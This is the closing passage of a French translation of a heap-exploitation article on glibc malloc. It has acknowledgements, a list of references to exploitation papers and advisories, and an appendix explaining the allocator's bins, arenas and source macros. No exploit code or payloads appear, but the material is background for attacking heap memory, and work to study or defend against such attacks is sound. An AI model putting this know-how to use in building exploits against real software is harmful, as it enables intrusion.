Vous classifier prend du temps (un peu de ppl "complexe"), donc je dirai
simplement merci pour m'avoir encouragé à écrire cet article, partagé vos
idées, m'avoir laissé le temps d'apprendre beaucoup de vous chaque jour,
d'avoir revu l'article, implémenté l'idée morecore pour la première fois,
d'être mes amis, me demander pour du torta, ne pas faire de torta, pour le
support personnel, les coding nights, boire de la bière, ysm, pizza au
roquefort, parler teletubbie, rendre le travail très interessant, faire du
monde un endroit joyeux à vivre, faire que les gens vous détestent à cause
de la musique...
(Vous devriez savoir ce qui s'applique à vous, ne demandez pas)

---------------------------------------------------------------------------
--] 7 Références

[1]  http://www.malloc.de/malloc/ptmalloc2.tar.gz
     ftp://g.oswego.edu/pub/misc/malloc.c
[2]  www.phrack.org/phrack/57/p57-0x08
     Vudo - An object superstitiously believed to embody magical power
     Michel "MaXX" Kaempf
[3]  www.phrack.org/phrack/57/p57-0x09
     Once upon a free()
     anonymous
[4]  http://www.phrack.org/show.php?p=59&a=7
     Advances in format string exploitation
     gera and riq
[5]  http://www.coresecurity.com/common/showdoc.php? \
     idx=359&idxseccion=13&idxmenu=32
     About exploits writing
     gera
[6]  http://online.securityfocus.com/bid/5363
[7]  http://security.e-matters.de/advisories/012003.txt
[8]  http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
     JPEG COM Marker Processing Vulnerability in Netscape Browsers
     Solar Designer
[9]  http://lists.insecure.org/lists/bugtraq/2000/Nov/0086.html
     Local root exploit in LBNL traceroute
     Michel "MaXX" Kaempf
[10] http://www.w00w00.org/files/articles/heaptut.txt 
     w00w00 on Heap Overflows
     Matt Conover & w00w00 Security Team
[11] http://www.phrack.org/show.php?p=49&a=14
     http://www.degenere-science.com ou www.dg-sc.org/phrack-fr pour la VF :>
     Smashing The Stack For Fun And Profit
     Aleph One
[12] http://phrack.org/show.php?p=55&a=8
     The Frame Pointer Overwrite
     klog
[13] http://www.phrack.org/show.php?p=59&a=9
     Bypassing PaX ASLR protection
     p59_09@author.phrack.org
[14] http://phrack.org/show.php?p=58&a=4
     The advanced return-into-lib(c) exploits
     Nergal
    


---------------------------------------------------------------------------
Annexe I - Résumé des structures internes de malloc

Cette annexe contient un bref résumé à propos de détails du fonctionnement
interne de malloc que nous avons besoin d'avoir à l'esprit pour comprendre
complètement la plupart des technques expliquées dans ce papier.

Les "chunks" [morceaux] de mémoire sont principalement maintenus (sans
parler du top chunk et du last_remainder chunk) dans des listes circulaires
doubles et liées, qui sont initialement vides et évoluent avec l'agencement
du heap. La circularité de ces listes est très importante pour nous, comme
nous le verrons plus tard.

Un "bin" est une paire de pointeurs sur lesquels ces listes
s'accrochent. Il existe 128 (#define NAV 128) bins, qui peuvent être des
"petit" ou "gros" bins. Les petits bins contiennent des chunks de tailles
égales, alors que les gros bins sont composés de chunk n'ayant pas la même
taille, ordonnés par taille décroissante.

Ceci sont les macros utilisées pour indexer les bins selon leur taille :

#define MAX_SMALLBIN         63
#define MAX_SMALLBIN_SIZE   512
#define SMALLBIN_WIDTH        8
#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH)
#define smallbin_index(sz)  (((unsigned long)(sz)) >> 3)
#define bin_index(sz)                                                         \
(((((unsigned long)(sz)) >> 9) ==    0) ?       (((unsigned long)(sz)) >>  3):\
 ((((unsigned long)(sz)) >> 9) <=    4) ?  56 + (((unsigned long)(sz)) >>  6):\
 ((((unsigned long)(sz)) >> 9) <=   20) ?  91 + (((unsigned long)(sz)) >>  9):\
 ((((unsigned long)(sz)) >> 9) <=   84) ? 110 + (((unsigned long)(sz)) >> 12):\
 ((((unsigned long)(sz)) >> 9) <=  340) ? 119 + (((unsigned long)(sz)) >> 15):\
 ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\
                                          126)

De la documentation de la source nous savons que "une arène est une
configuration de malloc_chunks mis ensembles avec un tableau de bins. Un
"heap" ou plus est/sont associé(s) avec chaque arène, sauf pour le
"main_arena", qui est associé seulement avec le "main_heap", i.e. le
magasin libre conventionnel obtenu par les appels à MORECORE()...", qui est
celui qui nous intéresse.

Voici ce à quoi ressemble une arène...

typedef struct _arena {
  mbinptr av[2*NAV + 2];
  struct _arena *next;
  size_t size;
#if THREAD_STATS
  long stat_lock_direct, stat_lock_loop, stat_lock_wait;
#endif

"av" est le tableau où sont gardés les bins.

Celles-ci sont les macros utilisées tout au long du code source pour
accéder aux bins, nous voyons que les deux premiers bins ne sont jamais
indexés ; ils réfèrent au topmost chunk, au last_remainder chunk et à un
bitvector utilisé pour améliorer le temps de recherche, bien que ceci ne
soit pas réellement important pour nous.

    /* bitvector of nonempty blocks */
#define binblocks(a)      (bin_at(a,0)->size)
    /* The topmost chunk */
#define top(a)            (bin_at(a,0)->fd)  
    /* remainder from last split */
#define last_remainder(a) (bin_at(a,1))      

#define bin_at(a, i)   BOUNDED_1(_bin_at(a, i))
#define _bin_at(a, i)  ((mbinptr)((char*)&(((a)->av)[2*(i)+2]) - 2*SIZE_SZ))


Finalement, le main_arena...

#define IAV(i) _bin_at(&main_arena, i), _bin_at(&main_arena, i)
static arena main_arena = {
    {
 0, 0,
 IAV(0),   IAV(1),   IAV(2),   IAV(3),   IAV(4),   IAV(5),   IAV(6),   IAV(7),
 IAV(8),   IAV(9),   IAV(10),  IAV(11),  IAV(12),  IAV(13),  IAV(14),  IAV(15),
 IAV(16),  IAV(17),  IAV(18),  IAV(19),  IAV(20),  IAV(21),  IAV(22),  IAV(23),
 IAV(24),  IAV(25),  IAV(26),  IAV(27),  IAV(28),  IAV(29),  IAV(30),  IAV(31),
 IAV(32),  IAV(33),  IAV(34),  IAV(35),  IAV(36),  IAV(37),  IAV(38),  IAV(39),
 IAV(40),  IAV(41),  IAV(42),  IAV(43),  IAV(44),  IAV(45),  IAV(46),  IAV(47),
 IAV(48),  IAV(49),  IAV(50),  IAV(51),  IAV(52),  IAV(53),  IAV(54),  IAV(55),
 IAV(56),  IAV(57),  IAV(58),  IAV(59),  IAV(60),  IAV(61),  IAV(62),  IAV(63),
 IAV(64),  IAV(65),  IAV(66),  IAV(67),  IAV(68),  IAV(69),  IAV(70),  IAV(71),
 IAV(72),  IAV(73),  IAV(74),  IAV(75),  IAV(76),  IAV(77),  IAV(78),  IAV(79),
 IAV(80),  IAV(81),  IAV(82),  IAV(83),  IAV(84),  IAV(85),  IAV(86),  IAV(87),
 IAV(88),  IAV(89),  IAV(90),  IAV(91),  IAV(92),  IAV(93),  IAV(94),  IAV(95),
 IAV(96),  IAV(97),  IAV(98),  IAV(99),  IAV(100), IAV(101), IAV(102), IAV(103),
 IAV(104), IAV(105), IAV(106), IAV(107), IAV(108), IAV(109), IAV(110), IAV(111),
 IAV(112), IAV(113), IAV(114), IAV(115), IAV(116), IAV(117), IAV(118), IAV(119),
 IAV(120), IAV(121), IAV(122), IAV(123), IAV(124), IAV(125), IAV(126), IAV(127)
    },
    &main_arena, /* next */
    0, /* size */
#if THREAD_STATS
    0, 0, 0, /* stat_lock_direct, stat_lock_loop, stat_lock_wait */
#endif
    MUTEX_INITIALIZER /* mutex */
};

Le main_arena est l'endroit où l'allocateur met en magasin les "bin"
auxquels les chunks libres sont reliés selon leur taille.

Le petit graphe ci-dessous résume toutes les structures détaillées
auparavant :

<main_arena> @ libc's DATA

   [bin_n]        (premier chunk)
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  fd
                                               [    chunk
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  bk
 [bin_n+1]        (dernier chunk)

     .
     .
     .

   [bin_X]
      ptr] ---->  [<-  fd
                  [    chunk isolé mais intéressant
      ptr] ---->  [<-  bk
     .
     .

|=[ EOF ]=---------------------------------------------------------------=|

Traduit par [DegenereScience]DecereBrain, le 21 Novembre 2003, 03:07
Wah 41 pages traduites, c'est la fête :-)
"Tous les hommes sont fous, et qui n'en veut point voir
 Doit rester dans sa chambre et casser son miroir" - Marquis de Sade